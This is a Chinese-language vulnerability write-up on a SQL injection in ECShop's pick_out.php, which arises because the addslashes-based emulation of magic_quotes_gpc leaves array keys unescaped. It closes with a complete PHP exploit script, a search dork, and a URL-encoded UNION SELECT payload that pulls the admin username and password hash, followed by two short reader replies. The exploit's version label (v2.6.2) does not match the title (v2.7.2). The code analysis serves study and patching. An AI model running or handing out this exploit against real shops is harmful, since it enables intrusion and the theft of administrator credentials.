ecshop v2.7.2鸡肋注入漏洞+EXP

2016-07-07 15:19 来源:www.chinab4c.com 作者:ecshop专家

ecshop v2.7.2鸡肋注入漏洞+EXP


漏洞挖掘:ryat
漏洞程序:ecshop v2.7.2
漏洞类型:sql injection
漏洞描述:

当magic_quotes_gpc=off



一、综述

magic_quotes_gpc是php中的一个安全选项,在php manual中对此有如下描述:

When on, all ' (single-quote), " (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. This is identical to what addslashes() does

虽然magic_quotes_gpc有助于提升程序的安全性并且在php中默认开启,但同时也带来了其他的一些问题,因此在php6中将去掉此选项。


二、当magic_quotes_gpc=off

考虑到部分服务器关闭了magic_quotes_gpc或者其他的一些原因[如影响功能等],很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码:

define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
...
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
...
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}

利用addslashes()函数模拟了magic_quotes_gpc=on时的效果,看上去很完美,其实是有缺陷的或者说只是模拟了magic_quotes_gpc的部分功能.

三、magic_quotes_gpc的代码分析

php在注册$_GET/$_POST等超全局变量时magic_quotes_gpc部分的代码:

// php_variables.c
PHPAPI void php_register_variable_safe(char *var, char *strval, int str_len, zval *track_vars_array TSRMLS_DC)
{
// 对变量值的处理
...
if (PG(magic_quotes_gpc)) {
Z_STRVAL(new_entry) = php_addslashes(strval, Z_STRLEN(new_entry), &Z_STRLEN(new_entry), 0 TSRMLS_CC);
} else {
Z_STRVAL(new_entry) = estrndup(strval, Z_STRLEN(new_entry));
}
...
PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array TSRMLS_DC)
{
// 对变量名的处理
...
zend_bool is_array = 0;
...
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p='_';
} else if (*p == '[') {
is_array = 1;
ip = p;
*p = 0;
break;
}
}
var_len = p - var;
// 上面这段代码没有考虑变量名的原始长度,所以这里是not binary safe
// 也就是说,提交 test.php?ryatwst=1 将会生成$_GET['ryat']=1
...
if (is_array) {
// 如果变量名是数组的形式
...
} else {
// php > 5.2.1
if (PG(magic_quotes_gpc)) {
// php = 4.x && php <= 5.2.1
// if (PG(magic_quotes_gpc) && (index!=var)) {
escaped_index = php_addslashes(index, index_len, &index_len, 0 TSRMLS_CC);
} else {
escaped_index = index;
}
...
} else {
// 这部分的magic_quotes_gpc处理和上面一样
...

由上面的代码可以看到,magic_quotes_gpc=on时不仅仅用addslashes处理了变量值,而且处理了变量名[既$_GET/$_POST等超全局变量的key,另外要注意的是:[1]在php4和php<5.2.1的版本中,不处理第一维的key]

而前面那段模拟magic_quotes_gpc的代码仅仅处理了数组的值,因此是存在安全隐患的。

四、实例[ECShop SQL injection 漏洞分析]

文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():

// includes/init.php
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}

$_COOKIE= addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}

addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理

// includes/lib_base.php
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
// 只处理了数组的值
}
}

下面看下具体的导致漏洞的代码,文件 pick_out.php里:

// pick_out.php
if (!empty($_GET['attr']))
{
foreach($_GET['attr'] as $key => $value)
{
$key = intval($key);
$_GET['attr'][$key] = htmlspecialchars($value);
// foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
// 因此可以引入任意的key
// 程序员的逻辑出了问题?
}
}
...
foreach ($_GET['attr'] AS $key => $value)
{
$attr_url .= '&attr[' . $key . ']=' . $value;

$attr_picks[] = $key;
if ($i > 0)
{
if (empty($goods_result))
{
break;
}
// 利用key进行注射:)
$goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");

由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞:)

漏洞利用:
EXP作者 :puret_t

#!/usr/bin/php
复制代码

<?php
//本程序只作技术交流,请不要用做非法用途!!
print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
dork: "owered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with magic_quotes_gpc = Off
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:target server (ip/hostname)
path:path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match('#IN\s\(([\S]+)[a-z0-9]{32})\)#', $resp, $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path;
$cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';
$data = "GET ".$path."pick_out.php?".$cmd."HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>

回答:
有点复杂啊。。

强大,看不懂啊,太复杂了,大虾们不要注漏洞了吧,我菜鸟不懂啊